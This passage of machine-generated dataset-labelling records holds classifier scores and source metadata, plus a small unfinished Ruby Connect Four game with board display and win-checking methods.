0.9900880903247142, "Sports & Fitness": 3.4202006547585596e-05, "Vehicles & Transportation": 1.5786773877456086e-05, "Travel & Tourism": 3.782201088363757e-05, "Other / Uncovered Subject": 0.00029335757175517825, "Unknown / Insufficient Content": 4.259369241280428e-05}, "secondary_topic": {"Adult & Explicit Sexual Content": 0.0003707643896930751, "Art & Design": 0.0002445970598172259, "Law & Crime": 0.0003071715459703863, "Education & Careers": 0.00028643457541905877, "Entertainment & Media": 0.00020201093391717303, "Fashion & Beauty": 0.00011496649046010528, "Business, Economics & Finance": 0.0002467547840632761, "Food & Dining": 0.0001013577188026832, "Games & Gaming": 0.00015263250865081644, "Electronics & Hardware": 0.00024499568587224503, "Health, Healthcare & Wellness": 0.00010981572931952463, "History & Geography": 0.0001374577815911381, "Home, Pets & Hobbies": 8.716192423486833e-05, "Industry & Production": 8.44695190671962e-05, "Language, Literature & Philosophy": 0.01862684661382788, "Politics & Government": 0.0001331426606032756, "Religion & Spirituality": 0.00016706951476648597, "Science, Mathematics & Engineering": 0.015129228253944867, "Relationships & Community": 7.958724284900738e-05, "Software Usage & Applications": 0.0016503848084025408, "Programming & Software Engineering": 0.019598291162738552, "Sports & Fitness": 0.00011264756109065364, "Vehicles & Transportation": 6.370617442504558e-05, "Travel & Tourism": 0.00019071469092910522, "Other / Uncovered Subject": 0.00037540522539680895, "NONE": 0.9411823854441469}}, "probabilities": {"primary": {"Academic Writing": 1.9415028749953176e-05, "Content Listing": 9.662551801221872e-06, "Creative Writing": 7.74746969648625e-06, "Customer Support Page": 6.708272393131612e-06, "Q&A Forum": 5.600290837388215e-06, "Discussion Thread": 3.4294637649084892e-06, "Comment Section": 6.323020071430351e-06, "Missing Content": 1.133526419007962e-05, "Knowledge Article": 0.00010258489828029832, "Legal Notices": 1.636138424839403e-05, "News Article": 2.3026065237543945e-06, "Organizational Announcement": 5.860843514852171e-06, "Nonfiction Writing": 4.94600666879519e-06, "Organizational About Page": 6.294573929536264e-06, "Personal About Page": 4.327554897767216e-06, "Personal Blog": 3.7891475750140084e-06, "Product Page": 4.6761400611672055e-06, "Spam / Ads": 5.0913529788429566e-06, "Structured Data": 0.00025452797417734274, "Technical Writing": 0.9986337141091208, "Transcript / Interview": 7.572909182728228e-06, "Tutorial / How-To Guide": 0.00014149022175603183, "User Reviews": 3.153268595937066e-06, "Other / Unknown": 0.0007330856469841045}, "secondary": {"Academic Writing": 0.00018578062016363139, "Content Listing": 0.00012490033951324862, "Creative Writing": 0.0001359354961482616, "Customer Support Page": 0.00011594265127422853, "Q&A Forum": 6.456957098835435e-05, "Discussion Thread": 4.933571783807004e-05, "Comment Section": 8.712504107390653e-05, "Missing Content": 0.00024563699303727137, "Knowledge Article": 0.0011980128368694245, "Legal Notices": 0.00018616211303518145, "News Article": 7.20236661589819e-05, "Organizational Announcement": 8.047542894622932e-05, "Nonfiction Writing": 7.548389730086284e-05, "Organizational About Page": 9.41668156112841e-05, "Personal About Page": 6.609559375528032e-05, "Personal Blog": 6.232709716001723e-05, "Product Page": 5.9189876479472e-05, "Spam / Ads": 8.192207175338223e-05, "Structured Data": 0.0011135792572216406, "Technical Writing": 0.030470766530836992, "Transcript / Interview": 9.760468761321299e-05, "Tutorial / How-To Guide": 0.002472239301824339, "User Reviews": 3.746720703468949e-05, "NONE": 0.962823257188362}, "tertiary": {"Academic Writing": 0.00013412525577658605, "Content Listing": 8.459327128092906e-05, "Creative Writing": 0.00010263370823146354, "Customer Support Page": 7.323018304856867e-05, "Q&A Forum": 3.643754183548039e-05, "Discussion Thread": 2.6988647538538547e-05, "Comment Section": 5.256471902020146e-05, "Missing Content": 0.0002628362610391816, "Knowledge Article": 0.0008773211111690819, "Legal Notices": 0.00031950752123700334, "News Article": 4.703544961873257e-05, "Organizational Announcement": 4.666325297467266e-05, "Nonfiction Writing": 4.334985172282509e-05, "Organizational About Page": 6.274219778271226e-05, "Personal About Page": 3.505419235263719e-05, "Personal Blog": 3.532693584743646e-05, "Product Page": 3.6761641651175094e-05, "Spam / Ads": 6.037035422632959e-05, "Structured Data": 0.0007912473688721434, "Technical Writing": 0.008641281910576878, "Transcript / Interview": 4.823773068240296e-05, "Tutorial / How-To Guide": 0.0036225202677617257, "User Reviews": 2.314908689070645e-05, "NONE": 0.9845360215388627}, "structured_records": {"false": 0.9960656636515274, "true": 0.003934336348472626}, "procedural_steps": {"false": 0.9902981869973257, "true": 0.009701813002674238}, "worked_solution": {"false": 0.9986965527347536, "true": 0.001303447265246411}, "contextual_dialogue": {"false": 0.9999950746455463, "true": 4.925354453750094e-06}, "content_quality": {"-2": 0.002025188706891676, "-1": 0.004707342127695236, "0": 0.057449173440855435, "1": 0.5053464343570438, "2": 0.43047186136751386}, "noise_severity": {"0": 0.9748276383287707, "1": 0.023632295272400412, "2": 0.0009381635566480171, "3": 0.00032761960900055747, "4": 0.0002742832331802845}, "missing_content_severity": {"0": 0.9926908233668931, "1": 0.004033460669115492, "2": 0.002425021620847006, "3": 0.0006979837119746446, "4": 0.0001527106311698187}, "factual_density": {"0": 0.0022602538687713537, "1": 0.005137959680828555, "2": 0.06399873461595797, "3": 0.4346509273937464, "4": 0.49395212444069575}, "pretraining_utility": {"-2": 0.006573340475836933, "-1": 0.062336386603790046, "0": 0.3356194366297029, "1": 0.5193666276065311, "2": 0.07610420868413906}, "math_density": {"0": 0.9839928884914334, "1": 0.012066530451212526, "2": 0.0009189331913436546, "3": 0.0005871885801255593, "4": 0.0024344592858848674}, "code_density": {"0": 0.00043362678092592825, "1": 0.000944872527211331, "2": 0.031579922242454095, "3": 0.2690077356810455, "4": 0.6980338427683631}, "reasoning_density": {"0": 0.7981306557918906, "1": 0.14441304858637297, "2": 0.04706903283379631, "3": 0.006140346683302383, "4": 0.004246916104637773}, "education_level": {"none": 0.0010305044609592105, "0": 0.001315403284575849, "1": 0.005012968235584533, "2": 0.44569897811246734, "3": 0.4313148545366754, "4": 0.11562729136973773}, "creative_writing_quality": {"not_applicable": 0.9995445864504676, "-2": 4.151224878983827e-05, "-1": 8.369837293490049e-05, "0": 0.00022079961436667124, "1": 7.79710570596776e-05, "2": 3.1432256381258834e-05}, "primary_topic": {"Adult & Explicit Sexual Content": 3.69304355346554e-05, "Art & Design": 4.030134972398832e-05, "Law & Crime": 3.0374932045249368e-05, "Education & Careers": 3.74774632728143e-05, "Entertainment & Media": 2.196827102188962e-05, "Fashion & Beauty": 1.2997548184742148e-05, "Business, Economics & Finance": 3.262918503576681e-05, "Food & Dining": 1.4812371699759276e-05, "Games & Gaming": 4.0554714232232404e-05, "Electronics & Hardware": 6.951969569616867e-05, "Health, Healthcare & Wellness": 1.7607413620399568e-05, "History & Geography": 2.6075107835023006e-05, "Home, Pets & Hobbies": 1.714296005678079e-05, "Industry & Production": 2.3107787317910907e-05, "Language, Literature & Philosophy": 0.004113441639788592, "Politics & Government": 1.7092956748194895e-05, "Religion & Spirituality": 2.547904734408826e-05, "Science, Mathematics & Engineering": 0.004436523944972588, "Relationships & Community": 1.4259659219279382e-05, "Software Usage & Applications": 0.0004598511364590902, "Programming & Software Engineering": 0.9900880903247142, "Sports & Fitness": 3.4202006547585596e-05, "Vehicles & Transportation": 1.5786773877456086e-05, "Travel & Tourism": 3.782201088363757e-05, "Other / Uncovered Subject": 0.00029335757175517825, "Unknown / Insufficient Content": 4.259369241280428e-05}, "secondary_topic": {"Adult & Explicit Sexual Content": 0.00037076438969307516, "Art & Design": 0.000244597059817226, "Law & Crime": 0.0003071715459703864, "Education & Careers": 0.0002864345754190588, "Entertainment & Media": 0.00020201093391717306, "Fashion & Beauty": 0.00011496649046010529, "Business, Economics & Finance": 0.0002467547840632762, "Food & Dining": 0.00010135771880268321, "Games & Gaming": 0.00015263250865081647, "Electronics & Hardware": 0.0002449956858722451, "Health, Healthcare & Wellness": 0.00010981572931952465, "History & Geography": 0.00013745778159113812, "Home, Pets & Hobbies": 8.716192423486834e-05, "Industry & Production": 8.446951906719621e-05, "Language, Literature & Philosophy": 0.018626846613827883, "Politics & Government": 0.00013314266060327563, "Religion & Spirituality": 0.000167069514766486, "Science, Mathematics & Engineering": 0.015129228253944868, "Relationships & Community": 7.958724284900739e-05, "Software Usage & Applications": 0.001650384808402541, "Programming & Software Engineering": 0.019598291162738556, "Sports & Fitness": 0.00011264756109065366, "Vehicles & Transportation": 6.370617442504559e-05, "Travel & Tourism": 0.00019071469092910525, "Other / Uncovered Subject": 0.000375405225396809, "NONE": 0.941182385444147}}, "probability_diagnostics": {"primary": {"raw_sum": 1.0000000000000002, "mass_delta": 2.220446049250313e-16, "missing_mass": 0.0, "excess_mass": 2.220446049250313e-16, "valid": true, "normalized": false}, "secondary": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "tertiary": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "structured_records": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "procedural_steps": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "worked_solution": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "contextual_dialogue": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "content_quality": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "noise_severity": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "missing_content_severity": {"raw_sum": 0.9999999999999999, "mass_delta": -1.1102230246251565e-16, "missing_mass": 1.1102230246251565e-16, "excess_mass": 0.0, "valid": true, "normalized": false}, "factual_density": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "pretraining_utility": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "math_density": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "code_density": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "reasoning_density": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "education_level": {"raw_sum": 0.9999999999999999, "mass_delta": -1.1102230246251565e-16, "missing_mass": 1.1102230246251565e-16, "excess_mass": 0.0, "valid": true, "normalized": false}, "creative_writing_quality": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "primary_topic": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "secondary_topic": {"raw_sum": 0.9999999999999999, "mass_delta": -1.1102230246251565e-16, "missing_mass": 1.1102230246251565e-16, "excess_mass": 0.0, "valid": true, "normalized": false}}, "usage": {"input_tokens": 10624, "output_tokens": 19}, "cache": {"status": "unreported", "cached_tokens": null, "cache_write_tokens": null, "input_tokens": 10624, "cached_share": null, "cache_discount_reported": null, "reported_cost_usd": null}, "response_metadata": {"model": "decision-models/baseten-mammoth-27b-latest"}, "scored_at_utc": "2026-10-25T18:37:15.326654+00:00", "scoring_key_slot": "primary", "dataset_uid": "0432133c-13c6-471b-ad9d-5e3c2ee49e2c", "dataset_revision": "62077439f2c81c79b71c084d1057ee1d042369a3", "dataset_config": "default", "content_variant": "content", "source_record_sha256": "7974f320471c19a88f86093bae1b585a89e21500110fad050a4ad8f81decf7ea", "source_metadata": {"uuid": "0432133c-13c6-471b-ad9d-5e3c2ee49e2c", "repo_name": "collabnix/dockerlabs", "relative_path": "vendor/bundle/ruby/2.6.0/gems/parser-3.1.2.0/lib/parser/base.rb", "category": "TOOL", "algo_rel_score": 0.962275505065918, "quality_score": 5.835806369781494, "source_meta": {"github_metadata": {"branch": "master", "commit_count": 5841, "repo_created_at": "2018-10-15T07:19:18.000Z", "is_fork": false, "is_org_owned": false, "forked_from": null, "stars": 7730, "forks": 2144, "issues": 11, "pull_requests": 14}, "file_meta": {"content_id": "dd43dc20c4502dd22f874f59c31d1da863ec439e", "size_bytes": 8156, "file_timestamp": 1725126312, "language": "ruby", "is_vendor": true, "license_type": "no_license", "detected_licenses": []}, "commit_id": "d232ada39d3ef152877f184524c70a20656613b2"}}, "parsed_source_meta": {"github_metadata": {"branch": "master", "commit_count": 5841, "repo_created_at": "2018-10-15T07:19:18.000Z", "is_fork": false, "is_org_owned": false, "forked_from": null, "stars": 7730, "forks": 2144, "issues": 11, "pull_requests": 14}, "file_meta": {"content_id": "dd43dc20c4502dd22f874f59c31d1da863ec439e", "size_bytes": 8156, "file_timestamp": 1725126312, "language": "ruby", "is_vendor": true, "license_type": "no_license", "detected_licenses": []}, "commit_id": "d232ada39d3ef152877f184524c70a20656613b2", "url": "https://github.com/collabnix/dockerlabs/blob/d232ada39d3ef152877f184524c70a20656613b2/vendor/bundle/ruby/2.6.0/gems/parser-3.1.2.0/lib/parser/base.rb"}, "gpt4o_tokens": 1994, "dataset_split": "ruby", "probability_weighted_scores": {"content_quality": 1.357532437550593, "noise_severity": 0.027588614145419257, "missing_content_severity": 0.011588297571412713, "factual_density": 3.4128967088567665, "pretraining_utility": 0.5960919774193453, "math_density": 0.02540379971781598, "code_density": 3.6632632951287087, "reasoning_density": 0.2739598187224238, "education_level": 2.6556012624970284, "creative_writing_quality": -0.05684350129451535}, "score_applicability": {"education_level": 0.9989694955390408, "creative_writing_quality": 0.00045541354953234644}} {"source_group": "ruby", "source": "openbmb/UltraData-Stack-v3-L2/ruby", "domain": "github.com", "language": "ruby", "url": "https://github.com/Dullone/connect-four/blob/912fd3c6c9c35b2bd5d60defe19ddad2e3bda323/connect_four.rb", "id": "ruby-0-829fb1f1fa3af18edd49bba006fb9e12", "text": "class Connect\r\n attr_reader :board\r\n PLAYER_ONE = \"X\"\r\n def initialize(board, output = STDOUT, input = STDIN)\r\n @board = board\r\n @output = output\r\n @input = input\r\n @player_turn = PLAYER_ONE\r\n end\r\n\r\n def game_start\r\n show_board\r\n get_move\r\n end\r\n\r\n def show_board\r\n @output.puts @board.to_s\r\n end\r\n\r\n def get_move\r\n @output.puts \"Player one, enter column (0-6) to add peice: \"\r\n #make_move Connect_view.move_input @input\r\n end\r\n\r\n def player_won\r\n if token = row_has_win \r\n return token\r\n end\r\n if token = column_has_win\r\n return token\r\n end\r\n if token = diagonal_has_win\r\n return token\r\n end\r\n false\r\n end\r\n\r\n def board_full?\r\n board.positions.each do |column|\r\n if column.all? { |item| item != Board::EMPTY }\r\n return true\r\n end\r\n end\r\n false\r\n end\r\n\r\n private\r\n def row_has_win\r\n board.rows.times do |row|\r\n if token = array_has_win(board.positions[row])\r\n return token\r\n end\r\n end\r\n false\r\n end\r\n\r\n def column_has_win\r\n column_array = []\r\n board.columns.times do |column|\r\n board.rows.times do |row| \r\n column_array << board.positions[row][column]\r\n end\r\n if token = array_has_win(column_array)\r\n return token\r\n end\r\n column_array = []\r\n end\r\n false\r\n end\r\n\r\n def diagonal_has_win\r\n 3.times do |i|\r\n #bottom-left to upper-right\r\n token = []\r\n token << (array_has_win get_array(i, 0, board.rows - 1, board.columns - 2 - i)) \r\n token << (array_has_win get_array(0, i, board.rows - i, board.columns - 1))\r\n #top-right to bottom-left\r\n token << (array_has_win get_array(i, board.columns - 1, board.rows - 1, i + 1))\r\n token << (array_has_win get_array(0, board.columns - 1 - i, board.rows - 2 - i, 0 ))\r\n token.each do |t|\r\n if t\r\n return t\r\n end\r\n end\r\n end\r\n false\r\n end\r\n\r\n def get_array(start_row, start_column, end_row, end_column)\r\n size = (start_row-end_row).abs\r\n array = []\r\n size.times do |i|\r\n array << board.positions[start_row + i][start_column + i]\r\n end\r\n\r\n array\r\n end\r\n\r\n #returns token type of winner\r\n def array_has_win(array)\r\n count = 0\r\n (array.length - 1).times do |i|\r\n if array[i] == array[i + 1] && array[i] != Board::EMPTY\r\n count += 1\r\n else\r\n count = 0\r\n end\r\n if count == 3\r\n return array[i]\r\n end\r\n end\r\n false\r\n end\r\n\r\n def make_move(slot)\r\n\r\n end\r\nend\r\n\r\nclass Connect_view\r\n def Connect_view.move_input(input)\r\n input.gets.chomp\r\n end\r\nend\r\n\r\nclass Board\r\n attr_reader :positions, :rows, :columns\r\n EMPTY = \"_\" \r\n SEPERATOR = \"|\"\r\n\r\n def initialize\r\n @rows = 6\r\n @columns = 7\r\n clear_board\r\n end\r\n\r\n def clear_board\r\n @positions = Array.new(@rows) { Array.new(@columns, EMPTY) }\r\n end\r\n\r\n def add_piece(column, piece)\r\n (@rows-1).downto(0) do |row|\r\n if @positions[row][column] == EMPTY\r\n @positions[row][column] = piece\r\n return true\r\n end\r\n end\r\n return false\r\n end\r\n\r\n def get_column(column)\r\n col_array = []\r\n @rows.times do |i|\r\n col_array[i] = @positions[i][column]\r\n end\r\n col_array\r\n end\r\n\r\n def to_s\r\n output_string = \"\"\r\n @rows.times do |row|\r\n output_string += row_to_s(row)\r\n end\r\n output_string + \"\\n\"\r\n end\r\n\r\n def row_to_s(row)\r\n output_string = \"\\n#{SEPERATOR}\"\r\n @columns.times do |column|\r\n output_string += @positions[row][column] + SEPERATOR\r\n end\r\n output_string\r\n end\r\n\r\nend\r\n", "text_preview": "class Connect attr_reader :board PLAYER_ONE = \"X\" def initialize(board, output = STDOUT, input = STDIN) @board = board @output = output @input = input @player_turn = PLAYER_ONE end def game_start show_board get_move end def show_board @outp", "input_sha256": "e368f521ed4aee7cd0eb9be573f210f2056f3a9774ae54bbe0a203d3ed7dddd4", "text_sha256": "829fb1f1fa3af18edd49bba006fb9e12b0dc0b3164894bdd97d76ef7582e531e", "run_sha256": "0dbe3046118ab5f0eea428b55f67ac75d558dc1c7da585927c21fa1685f6e177", "line_number": 16122, "input_policy": "text-and-optional-url-v1", "label_policy_version": 12, "requested_model": "decision-models/baseten-mammoth-27b-latest", "backend": "baseten", "endpoint": "https://inference.baseten.co/v1/systemone", "status": "ok", "training_eligible": true, "label": {"primary": {"main_format": "Technical Writing", "sub_format": null}, "secondary": null, "tertiary": null, "content_structure": []}, "candidate_label": null, "topic": {"primary": {"main_topic": "Programming & Software Engineering", "sub_topic": null}, "secondary": null}, "scores": {"content_quality": 0, "noise_severity": 0, "missing_content_severity": 0, "factual_density": 4, "pretraining_utility": 0, "math_density": 0, "code_density": 4, "reasoning_density": 0, "education_level": 2, "creative_writing_quality": null}, "score_expectations": {"content_quality": 0.34861656277637554, "noise_severity": 0.01423408959395511, "missing_content_severity": 0.10858080525751769, "factual_density": 3.3937220575903875, "pretraining_utility": 0.45836704382841825, "math_density": 0.6524705156386248, "code_density": 3.901749230195852, "reasoning_density": 1.406533256573832, "education_level": 1.768544492312758, "creative_writing_quality": -0.5106912863994081}, "api_choices": {"primary": "Technical Writing", "secondary": "NONE", "tertiary": "NONE", "education_level": "2", "creative_writing_quality": "not_applicable", "primary_topic": "Programming & Software Engineering", "secondary_topic": "NONE"}, "review_reasons": [], "format_slot_diagnostics": {"comparable": true, "secondary_tertiary_identical": false, "secondary_tertiary_max_abs_gap": 0.010239838776499477, "secondary_choice": "NONE", "tertiary_choice": "NONE"}, "confidence": {"primary": 0.9914868533663116, "secondary": 0.9848075075271621, "tertiary": 0.9954925566852485, "structured_records": 0.003806084923396434, "procedural_steps": 0.0035484804880426156, "worked_solution": 0.0036457340282639353, "contextual_dialogue": 1.3287063742406898e-05, "content_quality": 0.4052279504990096, "noise_severity": 0.988138258671704, "missing_content_severity": 0.9095159956187352, "factual_density": 0.49476838132532286, "pretraining_utility": 0.4380884934384235, "math_density": 0.45627457030114604, "code_density": 0.9181243584965433, "reasoning_density": 0.0, "education_level": 0.6802091949730019, "creative_writing_quality": 0.9984140279814915, "primary_topic": 0.9095632935903425, "secondary_topic": 0.6939621639510952}, "probability_margin": {"primary": 0.9863212700935428, "secondary": 0.9786094368195563, "tertiary": 0.9938693967525083, "education_level": 0.4958159366688654, "creative_writing_quality": 0.9980554517132297, "primary_topic": 0.8298213457964706, "secondary_topic": 0.46528845132166013}, "raw_probabilities": {"primary": {"Academic Writing": 4.5963537110669506e-05, "Content Listing": 2.6108723001838735e-05, "Creative Writing": 0.00024986951697155953, "Customer Support Page": 1.0216418093455198e-05, "Q&A Forum": 1.6689817587131872e-05, "Discussion Thread": 1.1697178994120991e-05, "Comment Section": 1.8936152337290653e-05, "Missing Content": 4.6977419425128446e-05, "Knowledge Article": 9.916097240640196e-05, "Legal Notices": 3.660302953106555e-05, "News Article": 6.786035518881092e-06, "Organizational Announcement": 1.348102376594354e-05, "Nonfiction Writing": 2.310640824068715e-05, "Organizational About Page": 1.5483724842776178e-05, "Personal About Page": 2.028082697634259e-05, "Personal Blog": 1.0530880272259156e-05, "Product Page": 9.596018028541461e-06, "Spam / Ads": 1.496310288724605e-05, "Structured Data": 0.0009355637664411237, "Technical Writing": 0.9918415678093819, "Transcript / Interview": 2.5838000339561552e-05, "Tutorial / How-To Guide": 0.0009908152362911292, "User Reviews": 9.466685715716317e-06, "Other / Unknown": 0.005520297715839127}, "secondary": {"Academic Writing": 8.7577116691775e-05, "Content Listing": 5.585719824190818e-05, "Creative Writing": 0.00046488242875636175, "Customer Support Page": 3.284644647077129e-05, "Q&A Forum": 2.4677630746493095e-05, "Discussion Thread": 2.564159479306461e-05, "Comment Section": 5.504218532104854e-05, "Missing Content": 0.0002955299420520169, "Knowledge Article": 0.0002473527572291101, "Legal Notices": 8.066697221144429e-05, "News Article": 3.873264685517206e-05, "Organizational Announcement": 3.302309050415338e-05, "Nonfiction Writing": 4.1305267955467946e-05, "Organizational About Page": 4.8180440224426705e-05, "Personal About Page": 4.2410333274355144e-05, "Personal Blog": 3.169710207358325e-05, "Product Page": 2.5036204319307342e-05, "Spam / Ads": 4.605545649783721e-05, "Structured Data": 0.0047899007159757645, "Technical Writing": 0.006831091227307361, "Transcript / Interview": 5.421767961090338e-05, "Tutorial / How-To Guide": 0.0011867849394770586, "User Reviews": 2.0962576546911355e-05, "NONE": 0.9854405280468637}, "tertiary": {"Academic Writing": 4.40246423635774e-05, "Content Listing": 2.7264523756193965e-05, "Creative Writing": 0.00017810037941274088, "Customer Support Page": 1.7279514379161276e-05, "Q&A Forum": 1.135850125371421e-05, "Discussion Thread": 1.299785767674911e-05, "Comment Section": 3.539240853071573e-05, "Missing Content": 0.00021551349576435927, "Knowledge Article": 0.0001241158217096209, "Legal Notices": 5.796358409465219e-05, "News Article": 2.0697316360902978e-05, "Organizational Announcement": 1.749113810900721e-05, "Nonfiction Writing": 2.817500383374862e-05, "Organizational About Page": 3.215684780533239e-05, "Personal About Page": 2.2664321208064695e-05, "Personal Blog": 1.6177861693231063e-05, "Product Page": 1.4966493078516152e-05, "Spam / Ads": 2.5253610108556575e-05, "Structured Data": 0.0009854960390357575, "Technical Writing": 0.0018109700708548626, "Transcript / Interview": 3.0561795425914054e-05, "Tutorial / How-To Guide": 0.0005788357048928145, "User Reviews": 1.2176245288706223e-05, "NONE": 0.9956803668233631}, "structured_records": {"false": 0.9961939150766036, "true": 0.003806084923396434}, "procedural_steps": {"false": 0.9964515195119574, "true": 0.0035484804880426156}, "worked_solution": {"false": 0.996354265971736, "true": 0.0036457340282639353}, "contextual_dialogue": {"false": 0.9999867129362576, "true": 1.3287063742406898e-05}, "content_quality": {"-2": 0.026172235041897102, "-1": 0.1302104782286122, "0": 0.3963221778197472, "1": 0.36341870673070514, "2": 0.08387640217903841}, "noise_severity": {"0": 0.98813264034326, "1": 0.010262046126652265, "2": 0.0010520166149504907, "3": 0.00034517742314765424, "4": 0.0002081194919897254}, "missing_content_severity": {"0": 0.9222669353584872, "1": 0.05278004261181902, "2": 0.020089886009460333, "3": 0.0038315534541559625, "4": 0.001031582566077531}, "factual_density": {"0": 0.0073046094902805845, "1": 0.012955152937103035, "2": 0.10558190401275021, "3": 0.3270302376116807, "4": 0.5471280959481853}, "pretraining_utility": {"-2": 0.008623297851943502, "-1": 0.09071678631884976, "0": 0.41709230932002234, "1": 0.40080478716721396, "2": 0.08276281934197054}, "math_density": {"0": 0.6990053935992213, "1": 0.13918673486798905, "2": 0.05087339246826272, "3": 0.03220092042399725, "4": 0.07873355864052961}, "code_density": {"0": 0.0002474842473867684, "1": 0.00047075083397992394, "2": 0.011948751489701951, "3": 0.07195107733325726, "4": 0.9153819360956741}, "reasoning_density": {"0": 0.5004652183310212, "1": 0.06070747161763038, "2": 0.13504425408162635, "3": 0.1393949470859396, "4": 0.1643881088837825}, "education_level": {"none": 0.002460830725090181, "0": 0.007250667442815372, "1": 0.23769172580863612, "2": 0.7335076624775015, "3": 0.016871101260080772, "4": 0.0022180122858760395}, "creative_writing_quality": {"not_applicable": 0.9986783566512429, "-2": 0.0001890210754755502, "-1": 0.00041684915486714575, "0": 0.0006229049380132194, "1": 6.57967969220652e-05, "2": 2.7071383479102333e-05}, "primary_topic": {"Adult & Explicit Sexual Content": 0.00010919019288592035, "Art & Design": 0.00018126855123311048, "Law & Crime": 0.0001314043938197332, "Education & Careers": 9.682067689863457e-05, "Entertainment & Media": 0.0003280230901207321, "Fashion & Beauty": 8.960351640029002e-05, "Business, Economics & Finance": 0.0001226152460364046, "Food & Dining": 8.313662630712727e-05, "Games & Gaming": 0.08322028265578171, "Electronics & Hardware": 0.00010738039583714455, "Health, Healthcare & Wellness": 8.594778648328233e-05, "History & Geography": 0.00012040137427375821, "Home, Pets & Hobbies": 0.0001609280339161988, "Industry & Production": 9.50249031141206e-05, "Language, Literature & Philosophy": 0.00011197129046339292, "Politics & Government": 4.506284720113373e-05, "Religion & Spirituality": 9.146511935429663e-05, "Science, Mathematics & Engineering": 0.0007014308908723565, "Relationships & Community": 6.883502338012293e-05, "Software Usage & Applications": 0.0003600667585163046, "Programming & Software Engineering": 0.9130416284522523, "Sports & Fitness": 0.00017646806179638346, "Vehicles & Transportation": 4.7876488826383824e-05, "Travel & Tourism": 0.00010561716353088653, "Other / Uncovered Subject": 0.00018639746261964104, "Unknown / Insufficient Content": 0.00013115299807835772}, "secondary_topic": {"Adult & Explicit Sexual Content": 0.0007308779855956385, "Art & Design": 0.0005866463788912352, "Law & Crime": 0.0005413606250909017, "Education & Careers": 0.00031353354376505545, "Entertainment & Media": 0.0009396104056012378, "Fashion & Beauty": 0.0002797276318024463, "Business, Economics & Finance": 0.00044697406940741536, "Food & Dining": 0.00024283557730477528, "Games & Gaming": 0.240444398631316, "Electronics & Hardware": 0.000347633329167625, "Health, Healthcare & Wellness": 0.0003146460317986139, "History & Geography": 0.00033790217631346654, "Home, Pets & Hobbies": 0.0004750734665716648, "Industry & Production": 0.0002349346376324869, "Language, Literature & Philosophy": 0.0002671484406599038, "Politics & Government": 0.00018420751631281724, "Religion & Spirituality": 0.00033863931730332685, "Science, Mathematics & Engineering": 0.003652269970991852, "Relationships & Community": 0.00018697043439147416, "Software Usage & Applications": 0.0006958294920246704, "Programming & Software Engineering": 0.041337912752372696, "Sports & Fitness": 0.00031574304461027793, "Vehicles & Transportation": 0.00012791746618802898, "Travel & Tourism": 0.00042765461602618077, "Other / Uncovered Subject": 0.0004967025058839683, "NONE": 0.7057328499529761}}, "probabilities": {"primary": {"Academic Writing": 4.596353711066951e-05, "Content Listing": 2.6108723001838738e-05, "Creative Writing": 0.0002498695169715596, "Customer Support Page": 1.02164180934552e-05, "Q&A Forum": 1.6689817587131876e-05, "Discussion Thread": 1.1697178994120993e-05, "Comment Section": 1.8936152337290656e-05, "Missing Content": 4.697741942512845e-05, "Knowledge Article": 9.916097240640197e-05, "Legal Notices": 3.6603029531065556e-05, "News Article": 6.786035518881093e-06, "Organizational Announcement": 1.3481023765943542e-05, "Nonfiction Writing": 2.3106408240687154e-05, "Organizational About Page": 1.548372484277618e-05, "Personal About Page": 2.0280826976342595e-05, "Personal Blog": 1.0530880272259157e-05, "Product Page": 9.596018028541463e-06, "Spam / Ads": 1.4963102887246051e-05, "Structured Data": 0.0009355637664411238, "Technical Writing": 0.991841567809382, "Transcript / Interview": 2.5838000339561555e-05, "Tutorial / How-To Guide": 0.0009908152362911294, "User Reviews": 9.466685715716319e-06, "Other / Unknown": 0.005520297715839128}, "secondary": {"Academic Writing": 8.7577116691775e-05, "Content Listing": 5.585719824190818e-05, "Creative Writing": 0.00046488242875636175, "Customer Support Page": 3.284644647077129e-05, "Q&A Forum": 2.4677630746493095e-05, "Discussion Thread": 2.564159479306461e-05, "Comment Section": 5.504218532104854e-05, "Missing Content": 0.0002955299420520169, "Knowledge Article": 0.0002473527572291101, "Legal Notices": 8.066697221144429e-05, "News Article": 3.873264685517206e-05, "Organizational Announcement": 3.302309050415338e-05, "Nonfiction Writing": 4.1305267955467946e-05, "Organizational About Page": 4.8180440224426705e-05, "Personal About Page": 4.2410333274355144e-05, "Personal Blog": 3.169710207358325e-05, "Product Page": 2.5036204319307342e-05, "Spam / Ads": 4.605545649783721e-05, "Structured Data": 0.0047899007159757645, "Technical Writing": 0.006831091227307361, "Transcript / Interview": 5.421767961090338e-05, "Tutorial / How-To Guide": 0.0011867849394770586, "User Reviews": 2.0962576546911355e-05, "NONE": 0.9854405280468637}, "tertiary": {"Academic Writing": 4.40246423635774e-05, "Content Listing": 2.7264523756193965e-05, "Creative Writing": 